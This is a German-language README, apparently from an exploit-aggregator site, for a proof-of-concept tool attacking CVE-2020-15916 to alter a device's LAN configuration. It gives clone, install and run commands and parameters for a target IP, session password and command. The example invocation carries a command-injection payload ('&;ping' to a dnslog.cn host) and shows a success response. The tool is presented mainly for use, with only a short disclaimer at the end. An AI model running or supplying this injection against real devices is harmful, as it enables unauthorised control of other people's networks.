CVE-2020-15916

GenLANConfigAttack - ist ein PoC zur Ausnutzung von CVE-2020-15916, einer Schwachstelle, die unbefugte Änderungen an der LAN-Konfiguration eines Geräts ermöglicht.

Funktionen

• Nutzt die Schwachstelle der LAN-Konfiguration aus
• Sendet eine schädliche Payload, um Netzwerkeinstellungen zu ändern
• Umgeht Sicherheitsmechanismen, um die Kontrolle über das LAN zu erlangen

Verwendung

1. Klonen Sie dieses Repository:
   root@kitploit:~

   git clone https://github.com/geniuszly/CVE-2020-15916
   

2. Installieren Sie die Abhängigkeiten:
   root@kitploit:~

   pip install -r requirements.txt
   

3. Führen Sie den Exploit aus:
   root@kitploit:~

   python GenLANConfigAttack.py
   

Parameter

• target_ip: Die IP-Adresse des Zielgeräts.
• ping_command: Der Befehl, der auf dem Zielgerät ausgeführt werden soll.
• session_password: Das Passwort für den Sitzungszugriff.

Beispiel

python GenLANConfigAttack.py --target_ip 192.168.0.1 --session_password gew43t4gtewe4u5u576i7yhggerr6ijtr --ping_command '192.168.0.1 &;ping xt68nd.dnslog.cn'

[Response from 192.168.0.1]: 
{"success":true,"message":"LAN IP configuration updated successfully"}

CVE-Referenz

Dieses PoC bezieht sich auf die Schwachstelle CVE-2020-15916, die es Angreifern ermöglicht, die LAN-Konfiguration anfälliger Geräte durch Ausnutzung eines schwachen Authentifizierungsmechanismus zu ändern.

Haftungsausschluss

Dieses Tool dient ausschließlich zu Bildungszwecken. Verwenden Sie es verantwortungsvoll und nur in Umgebungen, in denen Sie ausdrückliche Genehmigung haben.